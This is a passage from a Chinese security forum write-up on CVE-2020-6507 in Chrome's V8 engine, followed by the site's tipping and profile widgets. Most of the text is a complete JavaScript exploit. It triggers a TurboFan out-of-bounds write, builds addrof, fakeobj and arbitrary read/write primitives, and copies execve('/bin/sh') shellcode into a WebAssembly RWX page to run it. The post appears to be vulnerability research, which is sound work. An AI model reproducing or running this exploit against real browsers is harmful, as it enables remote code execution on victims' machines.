shellcode = [") words = ["0x" + sc[i:i+4][::-1].hex() for i in range(0, len(sc), 4)] for i in range(0, len(words), 6): print(" " + ", ".join(words[i:i+6]) + ",") print("];") print(disasm(sc)) ```  然后是copy shellcode ```javascript var data_buf = new ArrayBuffer(0x100); var data_view = new DataView(data_buf); function copy_shellcode(addr, shellcode) { arb_write(addrof(data_buf) + 0x14n, addr); // JSArrayBuffer::backing_store for (var i = 0; i < shellcode.length; i++){ dataview.setUint32(4*i,shellcode[i],true); } } ``` dataview.setUint32(4*i,shellcode[i],true); 把shellcode的第i个32位字,以小端序写进buffer的第4i字节处   算上0x4,offset = 0x14 ### exp wasm放前面防GC,不过我试了下这里放后面也行 ```javascript var wasm_code = new Uint8Array([ 0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11 ]); var wasm_mod = new WebAssembly.Module(wasm_code); var wasm_instance = new WebAssembly.Instance(wasm_mod); var pwn = wasm_instance.exports.main; //var rwx_page_addr = arb_read(addrof(wasm_instance)+0x68n); var data_buf = new ArrayBuffer(0x100); var data_view = new DataView(data_buf); var shellcode = [ 0x0b3d8d48, 0x31000000, 0xb8d231f6, 0x0000003b, 0x622f050f, 0x732f6e69, 0x90900068, ]; var f64 = new Float64Array(1); var bigUint64 = new BigUint64Array(f64.buffer); function hex(v) { return v.toString(16); } function ftoi(f) { f64[0] = f; return bigUint64[0]; } function itof(i) { bigUint64[0] = i; return f64[0]; } array = Array(0x40000).fill(1.1); args = Array(0x100 - 1).fill(array); args.push(Array(0x40000 - 4).fill(2.2)); giant_array = Array.prototype.concat.apply([], args); giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3); length_as_double = new Float64Array(new BigUint64Array([0x2424242422222222n]).buffer)[0]; function trigger(array, oob) { var x = array.length; x -= 67108861; // 1 2 x *= 10; // 10 20 x -= 9; // 1 11 x= Math.max(x,0); oob[x] = length_as_double; // fake length } function setup(){ vul = [1.1,1.1]; pad = [vul]; double_array = [1.1]; obj = {"a":1.1}; obj_array = [obj]; fake = [1.1]; //载一下fakeobj } function TurboFan(){ for (let i = 0; i < 30000; ++i) { setup(); trigger(giant_array, vul); } } TurboFan(); obj_array[0] = giant_array; // 为了防止GC扫到爆炸,把坏掉的obj清了 obj = null; var array_map = double_array[1]; var obj_map = double_array[8]; console.log("[*] array_map = 0x" + hex(ftoi(array_map))); console.log("[*] obj_map = 0x" + hex(ftoi(obj_map))); var fakemap = 12; function addrof(obj) { obj_array[0] = obj; double_array[8] = array_map; var addr = (ftoi(obj_array[0]) & 0xffffffffn) - 1n;//低32位压缩指针,tag-1 double_array[8] = obj_map; return addr; } function fakeobj(addr) { fake[0] = itof(addr + 1n); double_array[fakemap] = obj_map; var obj = fake[0]; double_array[fakemap] = array_map; return obj; } var rw_arr = [array_map,1.1,1.2,1.3]; function fake_elements(addr){ let elements = ((addr - 8n + 1n) & 0xffffffffn) | 0x3ff19999n << 32n; rw_arr[1] = itof(elements); } function arb_read(addr){ let fake_rw = fakeobj(addrof(rw_arr) - 0x20n); fake_elements(addr) return ftoi(fake_rw[0]); } function arb_write(addr,val){ let fake_rw = fakeobj(addrof(rw_arr) - 0x20n); fake_elements(addr) fake_rw[0] = itof(val); } function copy_shellcode(addr, shellcode) { arb_write(addrof(data_buf) + 0x14n, addr); // JSArrayBuffer::backing_store for (var i = 0; i < shellcode.length; i++){ data_view.setUint32(4*i,shellcode[i],true); } } var rwx_page_addr = arb_read(addrof(wasm_instance)+0x68n); copy_shellcode(rwx_page_addr, shellcode); pwn(); ```  ok啊,第一篇CVE分析over # Reference - Browser Exploitation: A Case Study Of CVE-2020-6507 (<<mark class="encrypted">f8bK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2&6y4s2W2Q4x3X3g2K6M7r3q4U0k6g2)9J5c8U0t1H3x3U0u0Q4x3V1j5H3z5q4)9J5c8U0l9#2i4K6u0r3j5Y4u0G2N6%4y4W2M7W2)9J5k6r3g2^5M7r3I4G2K9i4c8S2N6r3W2G2L8W2)9J5k6r3q4Q4x3X3c8U0j5i4y4W2i4K6u0V1M7%4c8#2k6s2W2Q4x3X3c8G2k6W2)9J5k6r3y4$3k6g2)9J5k6o6t1H3x3U0m8Q4x3X3b7$3y4e0l9%4i4K6u0r3</mark>>) - 从 0 开始学 V8 漏洞利用之 CVE-2020-6507(四) (<<mark class="encrypted">ec5K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6U0L8r3!0#2k6q4)9J5k6i4c8W2L8X3y4W2L8Y4c8Q4x3X3g2U0L8$3#2Q4x3V1k6V1k6i4k6W2L8r3!0H3k6i4u0Q4x3V1k6S2M7Y4c8A6j5$3I4W2i4K6u0r3x3e0V1@1y4e0M7$3z5g2)9K6c8Y4m8G2L8r3W2U0P5f1W2V1i4K6y4p5x3e0l9H3y4l9`.`.</mark>>) - 《Chrome V8 Bug》1. CVE-2020-6507 详细讲解 (<<mark class="encrypted">da8K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2S2L8Y4q4#2j5h3&6C8k6g2)9J5k6h3y4G2L8g2)9J5c8Y4m8G2M7%4c8Q4x3V1k6A6k6q4)9J5c8U0t1$3y4e0l9%4y4W2)9J5x3K6p5`.</mark>>) - Fast properties in V8 (<<mark class="encrypted">004K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6$3z5q4)9J5k6h3c8W2N6W2)9J5c8X3u0D9L8$3N6Q4x3V1k6X3j5i4y4@1i4K6u0V1M7s2u0G2M7r3g2J5N6r3W2W2M7H3`.`.</mark>>) - Elements kinds in V8 (<<mark class="encrypted">78bK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6$3z5q4)9J5k6h3c8W2N6W2)9J5c8X3u0D9L8$3N6Q4x3V1k6W2L8r3g2E0k6h3&6@1M7#2)9J5k6r3E0A6L8X3c8K6</mark>>) - Explaining JavaScript VMs in JavaScript - Inline Caches (<<mark class="encrypted">3ecK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6E0M7X3q4D9k6g2)9J5k6i4m8Z5i4K6u0r3j5X3I4G2k6#2)9J5c8U0t1H3x3e0u0Q4x3V1j5H3y4W2)9J5c8U0l9K6i4K6u0r3k6i4S2H3L8r3q4A6L8X3W2F1k6#2)9J5k6r3A6K6i4K6u0V1N6X3#2K6i4K6u0V1K9h3&6Q4x3X3c8B7M7#2)9J5k6r3W2F1L8r3W2F1k6g2)9J5k6r3y4S2j5$3S2W2M7#2)9J5k6h3S2@1L8h3H3`.</mark>>) - Shapes and Inline Caches (<<mark class="encrypted">ab5K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6E0j5i4c8Z5K9h3q4K6j5Y4W2F1k6h3&6K6i4K6u0W2j5X3g2Q4x3V1k6F1L8%4c8W2M7#2)9J5c8Y4y4Z5j5i4m8W2M7#2)9J5k6r3W2U0M7H3`.`.</mark>>) - wiki_Inline_caching (<<mark class="encrypted">0e5K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6W2L8W2)9J5k6i4N6A6K9$3W2H3k6h3c8A6j5g2)9J5k6h3!0J5k6#2)9J5c8Y4N6A6K9$3W2Q4x3V1k6u0L8X3I4A6L8X3g2Q4y4h3k6U0j5h3y4Z5K9h3&6Y4</mark>>)
登录后可查看完整内容
冰与火的战歌:Windows内核攻防实战高级班!从零到实战,融合AI与Windows内核攻防全技术栈,打造具备自动化能力的内核开发高手。
收藏
・
0
点赞
・
0
打赏
分享
分享到微信
分享到QQ
分享到微博
赞赏记录
参与人
雪币
留言
时间
查看更多
赞赏
×
1 雪花
5 雪花
10 雪花
20 雪花
50 雪花
80 雪花
100 雪花
150 雪花
200 雪花
支付方式:
微信支付
赞赏留言:
快捷留言
感谢分享~
精品文章~
原创内容~
精彩转帖~
助人为乐~
感谢分享~
最新回复
(
0
)
游客
登录
|
注册
方可回帖
回帖
表情
雪币赚取及消费
高级回复
返回
shark_pro
2
3
发帖
2
回帖
90
RANK
关注
私信
他的文章
[原创]CVE-2020-6507利用链
336
[原创]starctf oob
5428
[原创]polarisctf招新赛 Writeup-pwn
10722
关于我们
联系我们
企业服务
看雪公众号
专注于PC、移动、智能设备安全研究及逆向工程的开发者社区
看原图
赞赏
×
雪币:
+
留言:
快捷留言
为你点赞!
返回
顶部